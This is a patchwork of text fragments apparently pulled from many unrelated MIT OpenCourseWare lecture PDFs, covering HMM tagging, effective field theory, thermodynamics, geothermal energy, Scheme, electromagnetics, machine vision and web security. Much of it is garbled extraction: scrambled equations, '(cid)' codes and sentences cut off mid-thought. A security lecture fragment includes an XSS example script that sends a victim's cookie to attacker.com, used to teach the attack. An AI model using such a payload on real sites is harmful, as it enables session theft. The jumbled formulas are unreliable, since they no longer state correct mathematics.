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0.2 Stop Start Det Adj Adj Noun Stop = 0.8 * 0.3 * 0.4 * 0.5 * 0.2 Tag bigram picture p(tag seq) Det 0.8 Det Adj 0.3 Start Adj Noun 0.5 Adj 0.4 Noun e 0.2 Stop Start Det Adj Adj Noun Stop = 0.8 * 0.3 * 0.4 * 0.5 * 0.2 Our plan “Markov Model” automaton: p(tag sequence) * transducer: tags � words “U...
https://ocw.mit.edu/courses/6-863j-natural-language-and-the-computer-representation-of-knowledge-spring-2003/53fd409787f433f1a014a1ad40fe50ff_lecture4bw_03.pdf
N:autos e Stop Adj:cool 0.0012 Adj:directed 0.00020 Adj:cortege 0.000004 Observed words as straight-line fsa word seq the cool directed autos Compose with the cool directed autos p(word seq, tag seq) = p(tag seq) * p(word seq | tag seq) Det:a 0.48 Det:the 0.32 Det Start Verb Adj:cool 0.0009 Adj:direc...
https://ocw.mit.edu/courses/6-863j-natural-language-and-the-computer-representation-of-knowledge-spring-2003/53fd409787f433f1a014a1ad40fe50ff_lecture4bw_03.pdf
0 0 7 Noun Noun A c t e d j : d ir e Det Det Det Adj Adj:directed… Adj d … Noun:autos… Adj e 0 . 2 Stop Noun Noun WHY? The best path: Start Det Adj Adj Noun Stop = 0.32 * 0.0009 … the cool directed autos Cross-product construction forms trellis 0 1 e 3 e e 2 * 4 0 1 2 1,1 2,1 0,0 =...
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o Adj ol 0.0 0 7 Det Det Det Adj Adj:directed… Adj d … Noun:autos… Adj e 0 . 2 Stop c t e d j : d ir e Noun Noun A Noun Noun The best path: Start Det Adj Adj Noun Stop = 0.32 * 0.0009 … the cool directed autos And missing some states… p(word seq, tag seq) Lattice is missing some states; why? 2 e ...
https://ocw.mit.edu/courses/6-863j-natural-language-and-the-computer-representation-of-knowledge-spring-2003/53fd409787f433f1a014a1ad40fe50ff_lecture4bw_03.pdf
bi algorithm For each path reaching state s • at step (word) t, we compute a path probability. We call the max of these viterbi(s,t) [Base step] • Compute viterbi(0,0)=1 • [Induction step] Compute viterbi(s',t+1), assuming we know viterbi(s,t) for all s: path-prob(s'|s,t) = viterbi(s,t) * a[s,s'] probabil...
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11.3 Massive Gauge Boson Form Factor & Rapidity Divergences 12 MORE SCETI APPLICATIONS then we may move all usoft wilson lines into the usoft part of the operator yielding Q = [h Γ Y T aY †h(b)] [ξ W ΓlC8(P +)T aW †ξ(u)]. n,p v 1,5 8 (c) 1,5 v h (d) n,p (11.8) Matching this SCETI result onto SCETII by the replace...
https://ocw.mit.edu/courses/8-851-effective-field-theory-spring-2013/540919ec7e9974535c8c3d20ffc43448_MIT8_851S13_MoreSCETIAppli.pdf
no contractions between soft and collinear fields. So we find that our final factorization result is (cid:104)πD| HW |B(cid:105) = iN ξ(ω0, µ) (cid:90) 1 0 C(2Eπ(2x − 1), µ)φπ(x, µ) + O(Λ/Q) (11.13) where ξ(ω0, µ) is the Isgur-Wise function at maximum recoil and ω0 = 2 2 mB − mD 2mB (11.14) This result also applies ...
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the effective Hamiltonian 4GF H = − √ VtbVts 2 ∗ C7O7, O7 = e 16π2 mbsσµν F µν PRb (12.1) 1 with F µν the electromagnetic field tensor and PR = (1 + γ5). The decay is defined such that the photon 2 momentum is opposite the collinear jet i.e. qµ = Eγ n¯µ. The photon energy spectrum of the decay is 1 dΓ Γ0 dEγ = ...
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we took Taking mb as Q it is clear that this process is described by SCETI. Specifically, X will be represented by collinear gluons and quarks while B will be represented by heavy (usoft) quark. Our principal goal is to demonstrate how the effects of momentum scales are factorized in the formula for the photon energy...
https://ocw.mit.edu/courses/8-851-effective-field-theory-spring-2013/540919ec7e9974535c8c3d20ffc43448_MIT8_851S13_MoreSCETIAppli.pdf
hard amplitude of d4x ei(m n¯ b 2 − )·x (cid:10) q Bv (cid:12) µ (cid:12) TJ (x)J eff µ eff (cid:12) (cid:12)Bv (cid:11) . H(mb, µ) = 3 4Eγ |C(mb, µ)|2 . 3mb (12.12) (12.13) (12.14) Next, we decouple usoft gluons from collinear fields by implementing the standard field redefinitions ξn,p → Y ξ(0) n,p W → Y W (0)Y...
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¯n 2 −q−k)·x (cid:10)Bv (cid:12) T[hvY ](x)[Y †hv](0) (cid:12) (cid:12) (cid:12)Bv (cid:11) JP (k), where we defined (cid:90) i d4k (2π)4 (cid:104)0| T[W (0)†ξ(0) n,p](x)[ (0) ξn,pW (0)](0) |0(cid:105) (12.15) (12.16) (12.17) (12.18) (12.19) (12.20) with the label P representing the sum of the label momentum carried by...
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12 MORE SCETI APPLICATIONS Focusing on the heavy fields, we may then define hvY ]( x−)[Y †hv](0) (cid:12) (cid:12)Bv (cid:11) (12.22) n 2 S(k+) ≡ = = = = = 1 2 1 2 1 2 1 2 1 2 1 2 (cid:90) − i 2 (cid:90) (cid:90) l+x e− e− i e− i (cid:12) (cid:12) T[ − (cid:10)Bv 2 l+x− (cid:10)Bv 2 l+x− (cid:10)Bv dx 4π − dx 4π − dx 4...
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+) is non-perturbative and encodes information about the usoft dynamics of the B meson. (12.22) shows that we may interpret this result as giving the probability of finding a heavy quark b inside the B meson carrying a residual momentum of k+ . Defining J(k+) = − 1 ImJP (k+) and using(12.12),(12.21), (12.22) in (12.2)...
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Y , xa ≡ √ τ e−Y , xb ≡ where τ ≤ xa,b ≤ 1. We study this process int three distinct energy regions τ ∼ 1 2 p ∼ q2 ∼ E2 xa, b ∼ 1, ξa, b ∼ 1 ·Inclusive: cm x ·Endpoint: τ → 1 p << q2 → E2 2 cm xa, b → 1, ξa, b → 1 x xa, b → 0, ξa, b → 0 ·Isolated: 2 p >> q2 x τ → 0 (12.25) (12.26) (12.27) (12.28) (12.29...
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n/ 2 (12.32) (12.33) are defined as PDFs. These PDFs contribute to the differential cross section for this process: 1 σ0 dσ dq2dY = (cid:90) 1 (cid:88) xa i,j (cid:34) = 1 + O dξa ξa (cid:32) (cid:90) 1 xb dξb ξ b (cid:33)(cid:35) ΛQCD (cid:112) q2 . H incl ij (cid:18) a xb x , ξb ξa (cid:19) , q2, µ fi(ξa, µ)fj(ξb, µ)...
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is background free). To guarantee this requires an experimental observation. Observable: pX = Ba + Bb. There are two hemispheres perpendicular to the beam axis. B+ a = na · Ba = (cid:88) k(cid:15)a na · pk (cid:88) = k(cid:15)a Ek(1 + tanh Yk)e−2Yk (12.37) (12.38) We expect the plus momenta for n- collinear radiatio...
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Introduction to MATE-CON Week 3 Outline Required Reading: McManus, H. L., SSPARC Book Material for Lecture 3. Simple trade space analyses: Spaulding, T., “MATEing: Exploring the Wedding Tradespace” McManus, H. L. and Schuman, T. E., “Understanding the Orbital Transfer Vehicle Trade Space,” AIAA Paper 2003-6370, ...
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of designs, and use the utility curves to find the single attribute utilities for the designs. You may wish to use a weighted sum to find a multi-attribute utility. 6) Present the results graphically in any way that makes sense. Classic is the multi- attribute utility vs. cost, but your problem may not have a cash c...
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software studio CSRF, revisited Daniel Jackson 1 cross site scripting (XSS) A Fictional Example on Facebook, attacker posts this on wall: <script> window.location = ‘http://attacker.com/steal?cookie = ‘ + document.cookie </script> now, when other user displays Facebook page... › script sends her cookie...
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inconvenient for client secret session token › add it to all URLs (but token is leaked) › put in hidden form field (then only POSTs) › “double submit”: token in cookie and form <form action="/transfer.do" method="post"> <input type="hidden" name="CSRFToken" value="OWY4NmQwODQ2"> … </form> form generated with t...
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are OK 10 MIT OpenCourseWare http://ocw.mit.edu 6.170 Software Studio Spring 2013 For information about citing these materials or our Terms of Use, visit: http://ocw.mit.edu/terms.
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6.090, IAP 2005—Lecture 2 1 MASSACHUSETTS INSTITUTE OF TECHNOLOGY Department of Electrical Engineering and Computer Science 6.090—Building Programming Experience IAP 2005 Lecture 2 Scheme 1. Basic Elements (a) self­evaluating ­ expressions whose value is the same as the expression. (b) names ­ Name is looked up...
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ecture 2 Problems 1. Evaluation ­ For each expression: (a) Write the type of the expression 2 (b) Write your guess as to the expression’s return value. If the expression is erroneous simply indicate “error” for the value. If the expression returns an unspecified value, write whatever you want! If the expression...
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a margin width m, which is both the top, bottom, left, and right margin of the page, write a procedure that computes the ”usable” (non margin) area of the 8.5in by 11in sheet of paper. (usable­page 0) ;Value: 93.5 (usable­page 1) ;Value: 58.5 (define usable­page (e) Write a procedure that when given a width, return...
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system for Wendy’s1 . Luckily the Uber­Qwuick drive through supports only 4 options: Classic Single Combo (hamburger with one patty), Classic Double With Cheese Combo (2 patties), and Classic Triple with Cheese Combo (3 patties), Avant­Garde Quadruple with Guacamole Combo (4 patties). We shall encode these combos a...
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size” rolls off the tongue. 6.090, IAP 2005—Lecture 2 Recursion 5 More Problems 4. Write expt, a procedure that raises x to the nth power. You may assume that n is non­negative and integer. (expt 2 2) ;Value: 4 (expt 2 3) ;Value: 8 Plan: (define expt (lambda (x n) 6.090, IAP 2005—Lecture 2 6 5. Write remainde...
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MIT OpenCourseWare http://ocw.mit.edu 6.013/ESD.013J Electromagnetics and Applications, Fall 2005 Please use the following citation format: Markus Zahn, Erich Ippen, and David Staelin, 6.013/ESD.013J Electromagnetics and Applications, Fall 2005. (Massachusetts Institute of Technology: MIT OpenCourseWare). http://o...
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Page 1 of 7 EQS circuit form: i = C dv dt (capacitor) 3. Gauss’ Law for Electric Field (cid:118)∫ ε0E da i = ∫ ρ dV S V ≈ 8.854 ×10-12 farads/meter ε0 ≈ 10-9 36π 1 ≈ ε µ0 0 free space) c = ×3 108 meters/second (Speed of electromagnetic waves in 4. Gauss’ Law for Magnetic Field µ H da = 0 i 0 (cid:118)...
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0r Mg 2 = r 2l 6.013 Electromagnetics and Applications Prof. Markus Zahn Lecture 1 Page 3 of 7 1 2 2π ε0r ⎡ q = ⎢ l ⎣ 3 ⎤ Mg ⎥ ⎦ III. Faraday Cage (cid:118)∫ J dai = i = - S d dt ∫ ρ dV - = d ( dt ) dq -q = dt ∫ idt = q IV. Edgerton’s Boomer 1. Magnetic Field, Current, and Inductance Courtes...
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k Hz Hp ≈ 2.3 x 10 A / m ⇒ Bp = µ0 Hp ≈ 0.3 Teslas ≈ 3000 Gauss 5 2. Electrical Breakdown in Single Turn Coil with Small Gap R  Bp ∆ E ≈ ⎨ ⎧0 ⎩E0 Inside Metal Coil Gap Small ∆ 6.013 Electromagnetics and Applications Prof. Markus Zahn Lecture 1 Page 5 of 7 (cid:118) ∫ E ds = E0∆ = − i C B...
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F dV V = ∫ J x µ0 H dV V Force per unit volume total force Kφ Jφ ≈ ∆ = H ⇒ H = − ∆ − r Jφ r F = × µ H = J i × µ H i = −µ J H i r z 0 r r J 0 φ φ φ 0 F = µ J2∆ = µ ∆ 0 φ z 0 ⎜ ⎛ σa ⎝ 2 2 ⎞ B ω m ⎟ ⎠ sin 2 ωt = µ 0Jφ 2∆ iz f = z F a2 = π 0 π ∆ z 2 2 4 µ ∆ σ a 4 B2 ω2 sin 2 ωt m 6.013 Electrom...
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Mg 4.7 × 10 6 0.8 ≈ 5.9 × 10 6 Neglecting losses: 1 2 1 2 2 CV = Mv (t = 0 ) = Mgh 2 + v(t = 0 ) = + C M V µ , C = 25 f =M .08 kg, V = 4000 volts p v(t = 0 ) = 70.7 meters/second + (Initial velocity) h = 2 v ( t = 0+ ) = 255 meters 2g (Maximum height) Courtesy of Hermann A. Haus and James R. Melc...
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Lecture # 2 Thermodynamics and Tools to Analyze Conversion Efficiency Ahmed Ghoniem Feb 5, 2020 • Conservation laws • Limits on conversion • Availability • Efficiency Ghoniem, AF Energy Conversion Engineering, Chapter II, Thermodynamics. © by Ahmed F. Ghoniem 1 RENEWABLES S...
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ε(T, p, X i ) = εo (T) + ⎛ 1/ 2 ⎞⎞ ⎛ X H 2 XO2 ℜT 1 ⎜ ⎟⎟ ⎜ n p + n⎜ ⎜ ⎟ ⎟ 2ℑ 2 ⎝ X H 2O ⎠⎠ ⎝ ηOC = w max o ΔHR, H 2O = ΔGR, H 2O ΔHR, H 2O o Ideal thermomechanical vs. electrochemical systems, governing principles and efficiency, and their integration for maximizing the latter © by Ahmed F. Ghoniem 4 ...
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out dE dt = Q! − W! + ∑ m! i (h + ke + pe + ...) − ∑ m! i (h + ke + pe + ...) E2 − E1 = Q − W + ∑ mi (h + ke + pe + ...) − ∑ mi (h + ke + pe + ...) out out in in © by Ahmed F. Ghoniem 6 Second Law: Entropy Control mass 2 δQ S2 − S1 = ∫ T 1 K + (ΔS)g or S2 − S1 = ∑ k=1 ΔQk Tk + (ΔS)g Entrop...
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Availability and limits on energy conversion: System (with fixed mass) (cid:1)Add(cid:2) the first and second laws For a system with heat transfer at fixed temperatures ⎛ ⎞ To ⎜1− Wuse = QH ⎜ ⎟ + Ξ1 − Ξ2 − Iir. ⎟ TH ⎠ ⎝ system availability is: Ξ = (E − Uo ) + po (∀ − ∀o ) − To (S − So ). Changes in internal...
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�! ⎠⎟ Q!i − ⎛ ⎝⎜ TERs ⎝⎜ dt Ti +∑ m! iξi − ∑ m! iξi − I!ir out "ξ = (h − ho ) − To (s − so ) in ⎞ ⎠⎟ cv (flow exergy/availability per unit mass) "h = h + ke + pe for an ideal gas, fixed cp Δh = cp (T2 − T1), Δs = cpℓn ⎛ T2 ⎞ ⎝⎜ T1 ⎠⎟ − ℜℓn ⎛ p2 ⎞ ⎝⎜ p1 ⎠⎟ © by Ahmed F. Ghoniem 11 ...
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atic throttle valve to a final pressure of 20 kPa. The process does not involve any work transfer. An inventor claims to have designed a device that generates work of 10 kJ/kg of water while maintaining the same inlet and outlet conditions of the throttle and exchanging heat with the environment at 25oC. Is this cl...
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kJ / kg max o o o work output claimed by the inventor is higher than maximum value, not possible. 14 Using exergy analysis to determine the performance of a system and how to improve it A closed-cycle gas turbine power ...
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3 − h4 ) − (h2 − h1 )=275.4 h4 − h1 = 519.4 Availability change (kJ/kg) ξ3 −ξ2 =589.1 -469.8 841.4 217.5 = ξ2 −ξ1, to find maximum work by system First law efficiency is 275.4/794.8 =34.6% Wsys ⎛ 1− = ⎝⎜ To ⎞ Ti ⎠⎟ Qi + ξ1 −ξ4 − Iir for max work, ξ4 should be equal to ξ1 and Iir = 0. Wsys,max = 1− To ⎞ ...
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,000 pounds thrust r © Source unknown. All rights reserved. This content is excluded from our Creative Commons license. For more information, see https://ocw.mit.edu/fairuse. 17 Rumford birthplace (1753) and museum, Elm St, Woburn MA Benjamin Thompson/Lord Rumford established the equivalen...
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QH = 1− Qo QH ηcar = 1− To TH temperatures are in absolute, e.g., in K=273+C To ~ 300 K, maximum fuel combustion temperature ~ 1800-2400 K TH / To = 6 − 8, ηcar = 84 − 88% the efficiency depends critically on T of the heat source! also on the cold side T © by Ahmed F. Ghoniem 20 ...
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70% 60% 50% 40% 30% 20% 10% 0% 4 Carnot Carnot* For TL ~ 300 K 2 • 3 1 0.00 1.00 2.00 3.00 4.00 5.00 6.00 7.00 TH/TL 1. Geothermal heat @ TH ~ 100-150 C 2. Solar concentrators produce heat @ TH ~ 300 - 600 C 3. Nuclear reactors TH ~ 300- 600 C 4. Combustion, only limited by material, TH ~ 1400...
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RS) for T=310 K P = 1 atm m= 2.0 kg/s 2g Cold Gases Liquid Water 1 T=300 K P =100 atm T=950 K P = 1 atm m= 2.0 kg/s Hot Gases Steam 1g 2 P =100 atm Heat Recovery Steam Generator (HRSG) T T Turbine 1g 2 T 2¢g Power output 1¢c Pinch Point 2c Pinch Point temperature difference 2g 1 To Conde...
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= T1’c + 10 = 595.2 K Therefore, mass flow of water is: m! 1gC P,GAS (T2'g - T2 g ) 2.01.048(595.2 - 310) = m! w = (h - h ) 1'c 1 (1413 -121.8) = 0.4629 kg/s 25 After knowing mass flow rate of water, we appl...
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isentropic enthalpy is h3s = 1895 kJ/kg. 26 The actual conditions (enthalpy) of steam exiting turbine can be found from hT = 2 (h - h ) (h - h ) 3 Þ 0.94 = (3020 - h ) 3 (3020 -1895) 2 3s This gives h3 = 1962 kJ/kg. Using h3 and p3 and T3 = 313...
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Work + Heat Chemical Energy Work + (1- To TH )QH Chemical Energy 28 Thermodynamic Efficiencies Conversion Efficiency or first law efficiency ηI = Work/Energy/Heat OUT Heat/Energy/Work IN Thermomechanical Efficiency of a Heat Engine → Work (Mechanical) Heat Combust...
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and electrical energy (fuel cells and electrolysis), we use the stored chemical energy of the fuel to define efficiencies: ηFC = Ρ out m! H 2 ΔH r,H 2 ηelectrolysis = m! H 2 ΔH r,H 2 Ρ in is the energy (thermal) gained by ΔH r,H 2 converting a unit mass of hydrogen to water © by Ahmed F. Ghoniem 32 ...
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) − To ((s1 − s2 )) = (h1 − h2 ) Wmin Wis = W W compressor isentropic efficiency ηT = © by Ahmed F. Ghoniem 35 MIT OpenCourseWare https://ocw.mit.edu/ 2.60J Fundamentals of Advanced Energy Conversion Spring 2020 For information about citing these materials or our Terms of Use, visit: https:/...
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MIT OpenCourseWare http://ocw.mit.edu 3.23 Electrical, Optical, and Magnetic Properties of Materials Fall 2007 For information about citing these materials or our Terms of Use, visit: http://ocw.mit.edu/terms. 3.23 Fall 2007 – Lecture 3 CURIOSITY KILLED THE CAT 3.23 Electronic, Optical and Magnetic Properties of M...
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3.23 Electronic, Optical and Magnetic Properties of Materials - Nicola Marzari (MIT, Fall 2007) From classical mechanics to operators • Total energy is T+V (Hamiltonian is kinetic + potential) • classical momentum → (cid:71) p → gradient operator (cid:71) (cid:61)i ∇− • classical position → (cid:71) r → multiplicat...
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set of eigenfunctions of a Hermitian operator is complete Figure by MIT OpenCourseWare. 3.23 Electronic, Optical and Magnetic Properties of Materials - Nicola Marzari (MIT, Fall 2007) Product of operators, and commutators • • • BA ˆˆ ]BA ˆ,ˆ [ x , ⎡ ⎢ ⎣ d dx ⎤ 1 −=⎥ ⎦ 3.23 Electronic, Optical and Magnetic Properties...
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i ⎦ 3.23 Electronic, Optical and Magnetic Properties of Materials - Nicola Marzari (MIT, Fall 2007) Commuting Hermitian operators have a set of common eigenfunctions 3.23 Electronic, Optical and Magnetic Properties of Materials - Nicola Marzari (MIT, Fall 2007) Quantum double-slit Image from Wikimedia Commons, h...
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, independent, identically prepared physical systems are subject to a measurement. 3.23 Electronic, Optical and Magnetic Properties of Materials - Nicola Marzari (MIT, Fall 2007) Top Three List • Albert Einstein: “Gott wurfelt nicht!” [God does not play dice!] • Werner Heisenberg “I myself . . . only came to believ...
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Lecture# 18 Geothermal Energy Ahmed F. Ghoniem April 8, 2020 Material in this lecture is based on Prof J Tester’s (previously at MIT and currently at Cornell) lecture on the same subject. 1 Geothermal energy resources • Hydrothermal: liquid and superheated water • Hydrothermal: Vapo...
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of-the-shelve power plant equipment • Cost competitive especially for high grade hydrothermal systems • BUT EGS require deep drilling 4 Note that 40 C/km is high quality geothermal energy! © John Wiley and Sons, Inc. All rights reserv...
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erello started producing on 1904 …. Still going strong! 9 © GlobalData Plc. This content is excluded from our Creative Commons license. For more information, see https://ocw.mit.edu/fairuse. © Source unknown. This content is excluded from our Creative Commons license. For more inf...
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30% of the US primary energy is used at T < 200C © Source unknown. All rights reserved. This content is excluded from our Creative Commons license. For more information, see https://ocw.mit.edu/fairuse. Geothermal energy, like low grade solar thermal energy, works well for heating applications. © Royal Society ...
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. 16 Surface Plant: Binary An ordinary Rankine cycle with an organic fluid used as a working fluid. The working fluid is heated in two stages (E and PH), expanded in a turbine, condensed and pumped back. The Geo fluid is used to supply heat to the working fluid (E and PH) and is...
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(right) using a number of different working fluids. The analysis applied realistic models for the different cycle components and working fluid equation of state. The cycle operates on engine exhaust 250 oC. Results show the impact of the cycle high pressure Tian et al., Energy, 47, 125–136, 2012. Courtesy Elsevi...
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well, first vertically then horizontally, inject water (and sand and possibly some chemicals) to further fracture the rock and keep the small cracks open Now inject cold water and recover it as warm water from another well” 23 © Source unknown. All ...
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Bar 2500 K • Heat and momentum Transport flow -Turbulent -Jet impinging against rock kinetics • Detailed chemical at high - H2-02 combustion ➔ kinetic pressures mol"'h�ni�me 11nvnn\A1n CK-FLUID INTERFACE �----- -- © Source unknown. All rights reserved. This content is excluded from our Creative Comm...
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6.801/6.866: Machine Vision, Lecture 2 Professor Berthold Horn, Ryan Sander, Tadayuki Yoshitake MIT Department of Electrical Engineering and Computer Science Fall 2020 These lecture summaries are designed to be a review of the lecture. Though I do my best to include all main topics from the lecture, the lectures will ...
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): Point in image space given by (x0, y0). This point is where the 3D motion vector intersects with the line given by z = f . Why is FOE useful? If you know FOE, you can derive the direction of motion by drawing a vector from the origin to FOE. Additionally, we can rewrite the differentiated perspective projection equat...
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Expansion, but this time, for the vector form. FOE in the vector form is given at the point where ˙r = 0: 1 f ˙r = 1 W ˙R (11) We can use a dot product/cross product identity to rewrite the above expression in terms of cross products. The identity is as follows for any a, b, c ∈ Rn Using this identity, we rewrite the e...
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δx = uExδt (note here that Ex = ∂E ∂x ) Dividing each side by δt, we have: uEx + Et = 0 =⇒ U = − Ex Et = − ∂E ∂t ∂E ∂x A couple of points about this: • This 1D result allows us to recover motion from brightness. (14) (15) (16) • We can infer motion from a single point. However, this is only true in the 1D case. • We ca...
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now depends on x, y, and t: E(x, y, t). The relevant partial derivatives here are thus: • ∂E ∂x - i.e. how the brightness changes in the x direction. • ∂E ∂y - i.e. how the brightness changes in the y direction. • ∂E ∂t - i.e. how the brightness changes w.r.t. time. As in the previous 1D case, we can approximate these ...
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(Ex, Ey) = −Et (23) Normalizing the equation on the right by the magnitude of the brightness derivative vectors, we obtain the brightness gradient: (cid:32) (u, v) · (cid:113) Ex x + E2 y E2 , (cid:113) Ey x + E2 y E2 (cid:33) = − (cid:113) Et x + E2 y E2 (24) What is the brightness gradient? • A unit vector given by: ...
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which this motion estimation procedure/algo- rithm fails. Some cases to consider: • When brightness partial derivatives / brightness gradients are parallel to one another ↔ The determinant goes to zero ↔ This corresponds to linear dependence in the observations. This occurs when Ex1Ey2 = Ey1Ex2 =⇒ Ey1 Ex1 = Ey2 Ex2 . T...
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y − ((cid:82) x (cid:82) y ExEy)2 = 0 x When is this approach possible? Only when isophotes are not parallel straight lines - i.e. want isophote curva- ture/rapid turning of brightness gradients. Noise Gain: Intuition - if I change a value by this much in the image, how much does this change in the result? 5 MIT OpenC...
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Lecture 1 8.324 Relativistic Quantum Field Theory II Fall 2010 8.324 Relativistic Quantum Field Theory II MIT OpenCourseWare Lecture Notes Hong Liu, Fall 2010 Lecture 1 1: NON-ABELIAN GAUGE THEORIES In 8.323, we have studied the quantum theory of: 1. 2. 3. Scalar fields, spin-0, Dirac fields, spin- 1 2 , Maxw...
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Remarks: 1. 2. All possible phase multiplications ei� form a group, called U (1). U (1) is Abelian, that is, ei�1 ei�2 = ei�2 ei�1 . A Group is a set closed under a multiplication, satisfying the axioms of (i) associativity, (ii) existence of an identity and (iii) existence of an inverse. U (1) is a continuous gr...
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Ψ(x) −→ �(x)U†, ¯ where U is a 2 × 2 matrix such that UU† = 1. The complex matrices satisfying this condition form the group U (2). We can separate out an overall phase rotation in these transformations: where U = ei� =ei��2×2. We can constrain the residual transformation U′ to satisfy Ψ(x) −→ e i�Ψ(x) det U′ = ...
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�a For infinitesimal Λa, U =1+iΛa 2 find an associated set of conserved charges Qa, (a = 1, 2, 3), which satisfy the commutation relations [Qa, Qb] = iϵabcQc (see problem set). That is, the conserved charges satisfy the Lie algebra commutation relations. a Starting with n Dirac fields of the same mass, we find the sy...
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Λ′′ (11) (12) Lie groups are tailor-made for describing continuous symmetry transformations in physics: the group product corresponds to the composition of transformations. The group product satisfies the properties of (i) closure, (ii) associativity, (iii) existence of an inverse element, and (iv) existence of an i...
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b = if cabT c , (14) [ ] T a, T b ≡ T a T b − T b T a , defining the Lie algebra g associated with the Lie group G. The f cab are the where structure constants of the Lie algebra and are necessarily anti-symmetric in a, b. There is another constraint on the structure constants: as the group multiplication, ◦, is a...
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18.336 spring 2009 lecture 17 04/09/09 Conservation Laws ut + (f (u))x = 0 if u∈C1 ⇐⇒ Conservation form ut + f �(u) ux = 0 � �� � =c(u) Differential form � � b d dt a Integral form u(x, t)dx = f (u(a, t)) − f (u(b, t)) f = flux function Ex.: Transport equation f (u) = cu ⇒ c(u) = f �(u) = c Ex.: Burg...
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u0(x) Follow solution along line x0 + ct, where c = f �(u0(x0)). d dt u(x + ct, t) = cux(x + ct, t) + ut(x + ct, t) = (c − f �(u(x + ct, t))) ux(x + ct, t) = 0 � �� =0 · � ⇒ u(x + ct, t) = constant = u(x0, 0) = u0(x0). Ex.: Transport Burgers’ Traffic Characteristic lines intersect ⇒ shocks 2 Weak Solutions...
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: integration by parts. In addition, (∗∗) admits discontinuous solutions. Riemann Problem � u0(x) = (uL − uR) s = · � u(x, t) dx uL x < 0 uR x ≥ 0 � b d dt a = f (uL) − f (uR) ⇒ s = f (uR) − f (uL) uR − uL Image by MIT OpenCourseWare. Rankine-Hugoniot Condition for shocks 3 Ex.: Burgers’ s = 1 2 1 R − 2 ...
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3 INGREDIENTS FOR SCET QCD Here the jet mass is also the mass of the hadronic final state, and the situation which dominates the 2 phenomenology has m X ∼ QΛQCD. We have collinear modes for the jet, and ultrasoft modes with p ∼ which are the constituents of the B meson for this inclusive decay. Often the region whe...
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p , p3) we have p = p + p » p » p = p0 − p so + − 3 1 0 3 2 0 1,2 ⊥ where the terms in the + . . . are smaller. Keeping only the leading term gives us the spinors pσ · pp 0 p = σ3 + . . . , u(p) = v(p) = (2p 0)1/2 √ 2 (2p 0)1/2 √ 2 U σ·p 0 U p σ·p 0 V p V =⇒ un = =⇒ vn = − p 2 − p 2 U σ3U σ3V V (3...
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equations of motion / in the collinear limit. We can also define projection operators pu(p) = / pv(p) = 0 when expanded Pn = /n/¯n 4 = (cid:18) 1 σ3 1 σ3 1 2 (cid:19) , P¯n = /¯n/n 4 = (cid:18) 1 −σ3 1 −σ3 1 2 (cid:19) , and then we have the relations Pnun = n/n¯/ 4 un = un, Pnvn = n/n¯/ 4 vn = vn. (3.5) (3.6) The...
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ϕn¯ Pn¯ϕn¯ = ϕn¯ . (3.10) ˆ The label n on ξn reminds us that it obeys these relations and that we will eventually be expanding about the n-collinear direction. Note that here we denote the collinear field components with a hat, as in ξˆn(x), since there are still further manipulations that are required before we arr...
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p0 (cid:19) U . 15   (3.11) (3.12) 3.2 Collinear Fermion Propagator and ξn Power Counting 3 INGREDIENTS FOR SCET The same derivation gives vn = (cid:114) (cid:19) (cid:18) p− 2 ˜σ3 V ˜ V (3.13) where V˜ is defined in terms of V by a formula analogous to Eq. (3.12). Since the spin relations in Eqs. (3.4) and (3.6...
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Pn Pn = Pn , Pnn¯ = Pn¯ / n = 0 , / Pn / n = / n , P¯n = ¯ n /¯ n , / P † = γ0P¯γ0 . n n (3.17) None of these results depends on making the canonical back-to-back choice for ¯n. The last result is useful for the computation of ξˆ n from ξˆn = Pnψ, i.e. ξˆ = ξˆ† γ0 = ψ†P †γ0 = ψ Pn¯ . n n n Thus just like the relat...
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oft Fields 3 INGREDIENTS FOR SCET expansion of the denominator of the propagator. We can however expand the numerator by keeping only the large ¯n · p momentum, as ip/ p2 + i0 = in/ n¯ · p 2 p2 + i0 + . . . = in/ 2 1 n · p + 2 p⊥ n¯·p + i0 sign(¯n · p) + . . . (3.20) The fermion-gluon coupling will be prop...
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(λa) in · ∂ + . . . -n O(λ2) ˆ ∼ λ2a−2 ξn " '-n" O(λa) . (3.21) Here we used the fact that d4x = (dx+)(dx−)(d2x⊥) ∼ (λ0)(λ−2)(λ−1)2 ∼ λ−4 where the scaling for the ⊥ coordinates xµ follows from those for the collinear momenta by writing x · pc = x p + x p + 2x⊥ · p c and demanding that the terms in this sum a...
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This is simply a reflection of the fact that the SCET power counting for operators is not a power counting in mass dimensions. The observant reader will notice that the λ scaling of the collinear field is the same as its twist, and indeed the SCET power counting reduces to a (dynamic) twist expansion when the latter e...
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INGREDIENTS FOR SCET Thus the quantity in the final parentheses in (3.23) must be the same order as the product of Aµ n(x)Aν (0)n fields. If both of the µν indices are ⊥ then both of the terms in these parantheses are ∼ λ2, so therefore we must have Aµ ∼ λ. If one index is + and the other − then again both terms are th...
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−8 . Also the result is now uniform for the components of Aµ Once again we find that the gluon field scales like its momentum. ¯ i / . Therefore For the ultrasoft quark we have the Lagrangian L = ψus Dusψus ¯ψusψus ∼ λ6 . All together we have with iDµ = i∂µ + gAµ us ∼ λ2 us. us us Aµ ∼ (λ2, λ2, λ2) , us For a hea...
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25) is the fact that ¯n · An = A− ∼ λ0, indicating that there is no λ supression to adding A− fields in SCET operators. To understand the relevance of this result we consider in the next section an example of matching for an external current from QCD onto SCET. n n 3.4 Collinear Wilson Line, a first look To see what ...
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��shell propagator, shown by the pink line, that must be integrated out when constructing the EFT. The full theory amplitude for this process is (replacing external spinors and polarization vectors by SCET fields): n Aµ A n ξnΓ i(k/ + mb) m2 k2 − b igT Aγ µhv = −g (cid:16) µ n 2 (cid:17) n¯ · AA n ξnΓ [mb(1 + v/) + ...
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Eq. (3.30) we have expanded the numerator and denominator of the propagator in λ and kept only the lowest order terms. Since mbv · n n¯ · q ∼ Q2λ0 we see that the propagator is offshell by an amount of ∼ Q2, and hence is a hard propagator that we must 19 qkqqmq2q1q1q2qma)b)c)+ perms 3.4 Collinear Wilson Line, a first...
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n where n · n » λ2 . The sum of collinear momenta in the n and n directions will also be offshell, for example when we add two back-to-back collinear momenta (pn + pn¯)2 ∼ λ0 . In all these situations we find operators with additional ¯n · An ∼ λ0 fields. ' ' ' In summary, the off-shell quark has been integrated out a...
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we have to integrate out when we have an interaction between n-collinear particles. Indeed we will also find that the components n · An and A⊥ couple at leading order in T-products like the one shown above, so there is nothing special about the ¯n · An components for these diagrams. (0) n Lets now consider the situ...
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JSCET = ξnWnΓ hv , (3.33) 20 qkqk MIT OpenCourseWare http://ocw.mit.edu 8.851 Effective Field Theory Spring 2013 For information about citing these materials or our Terms of Use, visit: http://ocw.mit.edu/terms.
